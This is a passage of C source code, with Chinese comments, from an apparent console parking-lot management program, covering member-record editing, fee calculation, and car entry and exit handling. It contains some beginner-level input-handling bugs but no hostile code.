//次卡输入有效次数\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\tprintf(\"请输入有效次数(一次性输入最大使用次数为30):\");\r\n\t\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\t\t\tv=atoi(va);\r\n\t\t\t\t\t\t\t\tif(v>30 || v<=0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\tuser[i].valid=v;\r\n\t\t\t\t\tstrcpy(user[i].card,\"time\");\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}while(flag);\r\n\r\n\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\tif((strcmp(user[i].carid2,\"0\"))==0)\r\n\t\t\t\tstrcpy(user[i].car2in,\"无车辆\");\r\n\t\t\tprintf(\"\\n\");\r\n\t\t};\r\n\t\tcount+=1;\r\n\t};\r\n\tprintf(\"OK!\\n\");\r\n\tm=m+count;\r\n\tsave(m); //保存\r\n\tfclose(fp);\r\n};\r\n\r\nvoid modify() //修改信息函数\r\n{ \r\n\tint q,f,loc=-1,i,k,j,ss,x; //loc代表用户序号\r\n\tint m=load();\r\n\tchar id[6],cid[6];\r\n\tdo\r\n\t{\r\n\t\tf=1;\r\n\t\tprintf(\"按用户id修改请选择1，按车牌修改请选择2,放弃修改选择3：\");\r\n\t\tscanf(\"%d\",&q);\r\n\t\tif(q>=1&&q<=3)\r\n\t\t{\r\n\t\t\tf=1;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tf=0;\r\n\t\t\tprintf(\"无效的选择!\\n\");\r\n\t\t}\r\n\t}while(!f); \r\n\r\n\tswitch(q)\r\n\t{\r\n\tcase 1:\r\n\t\tprintf(\"请输入要修改的用户id:\");\r\n\t\tscanf(\"%s\",id);\r\n\t\tfor(i=0;i<m;i++)\r\n\t\t{\r\n\t\t\tif(strcmp(user[i].id,id)==0) // 先检查是否存在该用户id\r\n\t\t\t{\r\n\t\t\t\tloc=i;\r\n\t\t\t}\r\n\t\t}\r\n\t\tbreak;\r\n\tcase 2:\r\n\t\tprintf(\"请输入要修改信息的用户的车牌号:\");\r\n\t\tscanf(\"%s\",&cid);\r\n\t\tfor(i=0;i<m;i++)\r\n\t\t{\r\n\t\t\tif(strcmp(user[i].carid1,cid)==0 || strcmp(user[i].carid2,cid)==0)\r\n\t\t\t{\r\n\t\t\t\tloc=i;\r\n\t\t\t}\r\n\t\t}\t\t\r\n\tbreak;\r\n\tdefault:break;\r\n\t}\r\n\r\n\tint flag=0,c;\r\n\tchar card[4],t[7],c1id[6],c2id[6],va[6];\r\n\tlong v=0,td;\r\n\r\n\tif(loc==-1){\r\n\t\tprintf(\"该用户不存在！\");\r\n\t}\r\n\telse{ // 输出该用户信息，决定是否要修改\r\n\t\tint n;\r\n\t\tprintf(\"该用户信息为：\\n\");\r\n\t\tprintf(\"\\t%s,\\t%s,\\t%d,\\t%s,\\t%s,\\t%s,\\t%s\\n\",user[loc].id,user[loc].card,user[loc].valid,user[loc].carid1,user[loc].carid2,user[loc].car1in,user[loc].car2in);\r\n\t\tprintf(\"确定修改该用户请选择1，放弃修改请选择0：\");\r\n\t\tscanf(\"%d\",&n);\r\n\t\tif(n==1)\r\n\t\t{\r\n\t\t\tprintf(\"\\n1.id 2.卡类型 3.有效日期/有效时间 4.车牌号\\n\");\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tprintf(\"请输入您要修改的序号：\");\r\n\t\t\t\tscanf(\"%d\",&c);\r\n\t\t\t\tif(c>4 || c<1)\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\t\tprintf(\"无效的选择，请重新选择：\");\r\n\t\t\t\t}\r\n\t\t\t}while(!flag);\r\n\t\t}\r\n\t}\r\n\r\n\tif(!flag){return;}\r\n\r\n\tdo\r\n\t{\r\n\t\tswitch(c)\r\n\t\t{\r\n\t\tcase 1:\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tdo\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"请输入由数字与字母组成的修改后的用户ID：\");\r\n\t\t\t\t\tscanf(\"%s\",&id);\r\n\t\t\t\t\tflag=1;\r\n\t\t\t\t\tif(strlen(id)!=6){flag=0;}\r\n\t\t\t\t\tfor(k=0;id[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\tif(isalnum(id[k])==0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t}while(!flag);\r\n\t\t\t\tfor(j=0;j<m;j++) // 用户id查重\r\n\t\t\t\t{\r\n\t\t\t\t\tif((strcmp(user[j].id,id))==0) \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tprintf(\"该id已存在,请重新输入：\");\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}while(!flag);\r\n\t\t\tstrcpy(user[loc].id,id);\r\n\t\t\tbreak;\r\n\r\n\t\tcase 2:\r\n\t\t\tprintf(\"请输入修改后的卡类型(year/time)：\");\r\n\t\t\tscanf(\"%s\",card);\t\r\n\t\t\tif((strcmp(card,\"time\"))==0)\r\n\t\t\t{\r\n\t\t\t\tstrcpy(user[loc].card,card);\r\n\t\t\t\tdo\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=1;\r\n\t\t\t\t\tprintf(\"请输入该卡有效次数：\");\r\n\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++) //判断输入是否为数字，并且大于0，小于30\r\n\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\tv=atoi(va);\r\n\t\t\t\t\t\tif(v>30 || v<=0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t}while(!flag);\r\n\t\t\t\tuser[loc].valid=v;\r\n\t\t\t}\t\r\n\t\t\telse if((strcmp(card,\"year\"))==0)\r\n\t\t\t{\r\n\t\t\t\tstrcpy(user[loc].card,card);\r\n\t\t\t\tdo\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=1;\r\n\t\t\t\t\tprintf(\"请输入今日日期(例190212): \");\r\n\t\t\t\t\tscanf(\"%s\",&t);\r\n\t\t\t\t\tif(strlen(t)!=6) // 判断日期是否为6位，并且是数字\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tfor(k=0;t[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\tif(isdigit(t[k])==0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t}while(!flag);\r\n\t\t\t\ttd=atol(t);\t\r\n\t\t\t\tdo\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=1;\r\n\t\t\t\t\tprintf(\"请输入有效使用期:\");\r\n\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\tif(strlen(va)!=6)\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++) // 有效期必须大于今日日期\r\n\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\tv=atol(va);\r\n\t\t\t\t\t\tif(v<=td)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t}while(!flag);\r\n\t\t\t\tuser[loc].valid=v;\r\n\t\t\t};\r\n\t\t\tbreak;\r\n\r\n\t\tcase 3:\r\n\t\t\tif((strcmp(user[loc].card,\"time\"))==0)\r\n\t\t\t{\r\n\t\t\t\tdo //修改有效次数\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=1;\r\n\t\t\t\t\tprintf(\"请输入该卡有效次数：\");\r\n\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++) \r\n\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\tv=atoi(va);\r\n\t\t\t\t\t\tif(v>30 || v<=0)\r\n\t\t\t\t\t\t\tflag=0;\t\t\r\n\t\t\t\t}while(!flag);\r\n\t\t\t\tuser[loc].valid=v;\r\n\t\t\t}\r\n\t\t\telse if((strcmp(user[loc].card,\"year\"))==0)\r\n\t\t\t{\r\n\t\t\t\tdo //修改有效日期\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=1;\r\n\t\t\t\t\tprintf(\"请输入今日日期(例190212): \");\r\n\t\t\t\t\tscanf(\"%s\",&t);\r\n\t\t\t\t\tif(strlen(t)!=6)\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tfor(k=0;t[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\tif(isdigit(t[k])==0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t}while(!flag);\r\n\t\t\t\ttd=atol(t);\t\r\n\t\t\t\tdo\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=1;\r\n\t\t\t\t\tprintf(\"请输入有效使用期:\");\r\n\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\tif(strlen(va)!=6)\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\tv=atol(va);\r\n\t\t\t\t\t\tif(v<=td)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t}while(!flag);\r\n\t\t\t\tuser[loc].valid=v;\t\t\r\n\t\t\t};\r\n\t\t\tbreak;\r\n\r\n\t\tcase 4:\r\n\t\t\tif((strcmp(user[loc].carid1,\"0\")!=0) && (strcmp(user[loc].carid2 ,\"0\")!=0)) // 当用户有2辆车\r\n\t\t\t{\r\n\t\t\t\tprintf(\"该用户有2辆车，修改车辆1请按1，修改车辆2请按2，都要修改请按3，放弃修改请按4：\");\r\n\t\t\t\tscanf(\"%d\",&ss);\r\n\t\t\t\tif(ss==1) //修改车1\r\n\t\t\t\t{\r\n\t\t\t\t\tdo\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tdo\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\t\tprintf(\"输入由字母与数字组成的修改后的车牌号：\");\r\n\t\t\t\t\t\t\tscanf(\"%s\",&c1id);\t\r\n\t\t\t\t\t\t\tfor(k=0;c1id[k]!='\\0' && flag;k++) // 判断车牌号是否合理\r\n\t\t\t\t\t\t\t\tif(isalnum(c1id[k])==0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\t\tif(strcmp(c1id,\"0\")!=0) // 验证车牌号是否存在\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tfor(j=0;j<m;j++)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\tprintf(\"该车牌号已存在，\");\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}while(!flag);\t\r\n\t\t\t\t\tif(strcmp(c1id,\"0\")==0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[loc].carid1,user[loc].carid2);\r\n\t\t\t\t\t strcpy(user[loc].carid2,\"0\");\r\n\t\t\t\t\t\tstrcpy(user[loc].car2in,\"无车辆\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tstrcpy(user[loc].carid1,c1id);\r\n\t\t\t\t\t\tprintf(\"修改成功！\");\r\n\t\t\t\t}\r\n\t\t\t\telse if(ss==2) // 修改车2\r\n\t\t\t\t{\r\n\t\t\t\t\tdo\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tdo\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\t\tprintf(\"请输入由字母与数字组成的修改后车辆2的车牌号：\");\r\n\t\t\t\t\t\t\tscanf(\"%s\",c2id);\r\n\t\t\t\t\t\t\tfor(k=0;c2id[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\t\tif(isalnum(c2id[k])==0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\t\tif(strcmp(c2id,\"0\")!=0)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tfor(j=0;j<m;j++)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif((strcmp(user[j].carid1,c2id)==0) || (strcmp(user[j].carid2,c2id)==0))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\tprintf(\"该车牌号已存在，\");\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t};\r\n\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\tif(strcmp(c2id,\"0\")==0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[loc].carid2,c2id);\r\n\t\t\t\t\t\tstrcpy(user[loc].car2in,\"无车辆\");\r\n\t\t\t\t\t};\r\n\t\t\t\t\tstrcpy(user[loc].carid2,c2id);\r\n\t\t\t\t\tprintf(\"修改成功！\");\r\n\t\t\t\t}\r\n\t\t\t\telse if(ss==3) //全修改\r\n\t\t\t\t{\r\n\t\t\t\t\tdo\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tdo\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\t\tprintf(\"输入由字母与数字组成的修改后的车牌号1：\");\r\n\t\t\t\t\t\t\tscanf(\"%s\",&c1id);\t\r\n\t\t\t\t\t\t\tfor(k=0;c1id[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\t\tif(isalnum(c1id[k])==0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\tif(strcmp(c1id,\"0\")==0)\r\n\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\t\tif(strcmp(c1id,\"0\")!=0)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tfor(j=0;j<m;j++)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\tprintf(\"该车牌号已存在，\");\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t};\r\n\t\t\t\t\t}while(!flag);\t\t\t\t\r\n\t\t\t\t\tstrcpy(user[loc].carid1,c1id);\r\n\t\t\t\t\tdo\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tdo\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\t\tprintf(\"请输入由字母与数字组成的修改后车辆2的车牌号：\");\r\n\t\t\t\t\t\t\tscanf(\"%s\",c2id);\r\n\t\t\t\t\t\t\tfor(k=0;c2id[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\t\tif(isalnum(c2id[k])==0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t}while(!flag);\r\n\r\n\t\t\t\t\t\tif(strcmp(c2id,\"0\")!=0)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tfor(j=0;j<m;j++)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\tprintf(\"该车牌号已存在，\");\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\tif(strcmp(c2id,\"0\")==0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstrcpy(user[loc].carid2,c2id);\r\n\t\t\t\t\t\tstrcpy(user[loc].car2in,\"无车辆\");\r\n\t\t\t\t\t};\r\n\t\t\t\t\tstrcpy(user[loc].carid2,c2id);\r\n\t\t\t\t\tprintf(\"修改成功！\");\r\n\t\t\t\t}\r\n\t\t\t\t//else\r\n\t\t\t\t//\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\telse if((strcmp(user[loc].carid1 ,\"0\")!=0) && (strcmp(user[loc].carid2,\"0\")==0)) // 若用户仅拥有一辆车\r\n\t\t\t{\r\n\t\t\t\tprintf(\"该用户有一台车，确认修改请按1，添加车辆请按2，取消修改请按0： \");\r\n\t\t\t\tscanf(\"%d\",&ss);\r\n\t\t\t\tif(ss==1) // 修改车辆1\r\n\t\t\t\t{\r\n\t\t\t\t\tdo\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tdo\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\t\tprintf(\"输入由字母与数字组成的修改后的车牌号：\");\r\n\t\t\t\t\t\t\tscanf(\"%s\",&c1id);\t\r\n\t\t\t\t\t\t\tfor(k=0;c1id[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\t\tif(isalnum(c1id[k])==0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\tif(strcmp(c1id,\"0\")==0)\r\n\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\t\tfor(j=0;j<m;j++)\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tprintf(\"该车牌号已存在，\");\r\n\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}while(!flag);\t\t\t\t\t\t\t\r\n\t\t\t\t\tstrcpy(user[loc].carid1,c1id);\r\n\t\t\t\t\tprintf(\"修改成功！\");\r\n\t\t\t\t}\r\n\t\t\t\telse if(ss==2) //添加车辆2\r\n\t\t\t\t{\r\n\t\t\t\t\tdo\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\tdo\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"输入由字母与数字组成的车牌号：\");\r\n\t\t\t\t\t\t\tscanf(\"%s\",&c2id);\r\n\t\t\t\t\t\t\tfor(k=0;c2id[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\t\tif(isalnum(c2id[k])==0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\t\tfor(j=0;j<m;j++)\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tif((strcmp(user[j].carid1,c2id)==0) || (strcmp(user[j].carid2,c2id)==0))\r\n\t\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\t\tprintf(\"该车牌号已存在，\");\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\tstrcpy(user[loc].carid2,c2id);\r\n\t\t\t\t\tstrcpy(user[loc].car2in,\"车辆未进入\");\r\n\t\t\t\t\tprintf(\"修改成功！\");\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tprintf(\"\\n\");\r\n\t\tprintf(\"确定保存修改的信息（1/0）,如选0，则重新修改？\");\r\n\t\tscanf(\"%d\",&flag);\r\n\t}while(!flag);\r\n\r\n\tsave(m);\r\n\tdisplay();\r\n\tprintf(\"\\n修改结束请按0，继续修改请按1：\"); //如果继续修改，清空桌面，重新运行一次\r\n\tscanf(\"%d\",&x);\r\n\tswitch(x)\r\n\t{\r\n\tcase 0:\r\n\t\tsystem(\"cls\");\r\n\t\tbreak;\r\n\tcase 1:\r\n\t\tmodify();\r\n\t\tbreak;\r\n\tdefault:system(\"cls\");break;\r\n\t}\r\n}\r\n\r\nbool isleap(int year){ // 判断是否为闰年\r\n\t return (year%4==0 && year%100!=0 || year%400==0);\r\n}\r\n\r\n//计算停车费用\r\nlong fee(long Time_in,long Hour_in,long Time_out,long Hour_out)\r\n{\r\n\t//导入进出时间后，将其分解为年，月，日，时，分\r\n int y1,m1,d1,h1,s1;\r\n int y2,m2,d2,h2,s2;\r\n int day=0;\r\n long hour,p;\r\n y1=Time_in/10000,m1=Time_in%10000/100,d1=Time_in%100,h1=Hour_in/100,s1=Hour_in%100;\r\n y2=Time_out/10000,m2=Time_out%10000/100,d2=Time_out%100,h2=Hour_out/100,s2=Hour_out%100;\r\n while (y1<y2 || m1<m2 || d1<d2){ //计算进出时间相差多少天\r\n d1++;\r\n if (d1==month[m1][isleap(y1)]+1){\r\n m1++;\r\n d1=1;\r\n }\r\n if(m1==13){\r\n y1++;\r\n m1=1;\r\n }\r\n day++;\r\n };\r\n hour=h2-h1; // 计算小时差\r\n if(s2-s1>0)\r\n hour++;\r\n\thour=hour+24*day;\r\n p=5+3*(hour-1); // 计算费用\r\n return p;\r\n};\r\n\r\nvoid carin(){\r\n\tFILE* fp;\r\n\tint m=load();\r\n\tint i,n,j,k=0,flag,tag,loc=-1,f; //tag代表车1还是车2\r\n\tbool ft=true;\r\n\tchar car[6],time[12],tim[6];\r\n\tchar sto[7];\r\n\tlong v;\r\n\tdo\r\n\t{\r\n\t\tflag=1;\r\n\t\tprintf(\"请输入车牌号：\"); // 确定车牌号\r\n\t\tscanf(\"%s\",car);\r\n\t\tfor(i=0;car[i]!='\\0' && flag;i++)\r\n\t\t{\r\n\t\t\tif(isalnum(car[i])==0)\r\n\t\t\t\tflag=0;\r\n\t\t}\r\n\t}while(!flag);\r\n\tstrcpy(sto,car);\r\n\r\n\tfor(i=0;i<m;i++)\t\t\t\t\t\t\t\t\t\t//检索该车牌的车主，确定进入的车辆是车1还是车2\r\n\t{\r\n\t\tif(strcmp(user[i].carid1,sto)==0)\r\n\t\t{\r\n\t\t\ttag=1;\r\n\t\t\tloc=i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\telse if(strcmp(user[i].carid2,sto)==0)\r\n\t\t{\r\n\t\t\ttag=2;\r\n\t\t\tloc=i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tdo\r\n\t{\r\n\t\tflag=1;\r\n\t\tprintf(\"请输入入场时间(省略':'精确到分):\"); // 输入进入时间\r\n\t\tscanf(\"%s\",time);\r\n\t\tif(strlen(time)!=12)\r\n\t\t\tflag=0;\r\n\t\tfor(i=0;time[i]!='\\0' && flag;i++)\r\n\t\t{\r\n\t\t\tif(isdigit(time[i])==0)\r\n\t\t\t\tflag=0;\r\n\t\t}\r\n\t}while(!flag);\r\n\r\n\tif(loc!=-1){ //loc为该用户在数组中的位置\r\n\t\tif(strcmp(user[loc].card,\"year\")==0)\r\n\t\t{\r\n\t\t\tstrncpy(tim,time+2,6);\r\n\t\t\tv=atol(tim);\r\n\t\t\tif(v>=user[loc].valid){ft=false;} \r\n\t\t};\r\n\r\n\t\tif(ft){ // ft是true代表会员没到期\r\n\t\t\tif(tag==1) //tag代表等待进入的是车主的几号车\r\n\t\t\t{\r\n\t\t\t\tif(strcmp(user[loc].car2in,\"vip\")==0)\r\n\t\t\t\t\tstrcpy(user[loc].car1in,time);\r\n\t\t\t\telse if(strcmp(user[loc].car2in,\"无车辆\")==0 || strcmp(user[loc].car2in,\"车辆未进入\")==0)\r\n\t\t\t\t\tstrcpy(user[loc].car1in,\"vip\");\r\n\t\t\t}\r\n\t\t\telse if(tag==2)\r\n\t\t\t{\r\n\t\t\t\tif(strcmp(user[loc].car1in,\"vip\")==0)\r\n\t\t\t\t\tstrcpy(user[loc].car2in,time);\r\n\t\t\t\telse if(strcmp(user[loc].car1in,\"无车辆\")==0 || strcmp(user[loc].car1in,\"车辆未进入\")==0)\r\n\t\t\t\t\tstrcpy(user[loc].car2in,\"vip\");\r\n\t\t\t};\r\n\t\t\tsave(m);\r\n\t\t\tprintf(\"请进入！\");\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tfor(j=loc;j<m;j++) //删除过期用户\r\n\t\t\t{\r\n\t\t\t\tstrcpy(user[j].id,user[j+1].id);\r\n\t\t\t\tuser[j].valid=user[j+1].valid;\r\n\t\t\t\tstrcpy(user[j].card,user[j+1].card);\r\n\t\t\t\tstrcpy(user[j].carid1,user[j+1].carid1);\r\n\t\t\t\tstrcpy(user[j].carid2,user[j+1].carid2);\r\n\t\t\t\tstrcpy(user[j].car1in,user[j+1].car1in);\r\n\t\t\t\tstrcpy(user[j].car2in,user[j+1].car2in);\r\n\t\t\t};\r\n\t\t\tm=m-1;\r\n\t\t\tsave(m);\r\n\t\t\tloc=-1;\r\n\t\t\tprintf(\"您的用户卡因逾期未续费，已被注销。请办理临时卡进入.\\n\");\t\t\t\r\n\t\t}\r\n\t}\r\n\tif(!isFull() && loc==-1){\r\n\t\tprintf(\"办理临时卡请选择1，离开请选择0： \");\r\n\t\tscanf(\"%d\",&n);\r\n\t\tif(n==1)\r\n\t\t{ //临时卡只设置车牌号与进入时间，其余全为默认值\r\n\t\t\tstrcpy(user[m].id,\"temp\"); \r\n\t\t\tstrcpy(user[m].card,\"temp\");\r\n\t\t\tstrcpy(user[m].carid2,\"0\");\r\n\t\t\tstrcpy(user[m].car1in,time);\r\n\t\t\tstrcpy(user[m].car2in,\"无车辆\");\r\n\t\t\tstrcpy(user[m].carid1,sto);\r\n\t\t\tm=m+1;\r\n\t\t\tsave(m);\r\n\t\t\tprintf(\"\\n添加成功！\\n\");\r\n\t\t\tprintf(\"您可以进入！\");\r\n\t\t}\r\n\t\telse\r\n\t\t\tprintf(\"再见！\");\r\n\t}\r\n\telse if(isFull()){printf(\"用户已满！不能创建临时卡。\");}\r\n};\r\n\r\nvoid carout(){\r\n\tFILE* fp;\r\n int m=load();\r\n int i,j,flag,tag=0,hoursout,hoursin;\r\n char car[7],time[13],timo[7],timi[7],hourout[5],hourin[5];\r\n long vo,vi,pay;\r\n do\r\n\t{\r\n flag=1;\r\n printf(\"请输入车牌号：\"); // 输入离开的车牌号\r\n scanf(\"%s\",car);\r\n for(i=0;car[i]!='\\0' && flag;i++)\r\n {\r\n if(isalnum(car[i])==0)\r\n flag=0;\r\n }\r\n }while (!flag);\r\n\r\n\tdo\r\n\t{\r\n\t\tflag=1;\r\n\t\tprintf(\"请输入出场时间(省略':'精确到分):\");\t\t//读入正确时间\r\n\t\tscanf(\"%s\",time);\r\n\t\tif(strlen(time)!=12)\r\n\t\t\tflag=0;\r\n\t\tfor(i=0;time[i]!='\\0' && flag;i++)\r\n\t\t{\r\n\t\t\tif(isdigit(time[i])==0)\r\n\t\t\t\tflag=0;\r\n\t\t}\r\n\t}while(!flag);\r\n\r\n\tfor(i=0;i<m;i++)\t\t\t\t\t\t\t\t\t\t//检索该车牌的车主，并确定是车1还是车2\r\n\t{\r\n if(strcmp(user[i].carid1,car)==0)\r\n {\r\n tag=1;\r\n break;\r\n }\r\n else if(strcmp(user[i].carid2,car)==0)\r\n {\r\n tag=2;\r\n break;\r\n }\r\n }\r\n\tif(!tag)\r\n\t\tflag=0;\r\n\r\n\tif(flag)\r\n\t{\r\n\t\tstrncpy(timo,time+2,6);\r\n\t\tstrncpy(hourout,time+8,4);\r\n\t\tvo=atol(timo);\r\n\t\thoursout=atoi(hourout);\r\n\r\n\t\tif(strcmp(user[i].card,\"year\")==0) \r\n\t\t{// 年卡用户，如果出场时间未到有效截止期。对于vip状态的车，直接设置为车辆未进入；\t\t\t\r\n\t\t\tif(tag==1) // tag代表等待离开的是车主的几号车\r\n\t\t\t{\r\n\t\t\t\tif(strcmp(user[i].car1in,\"vip\")==0) 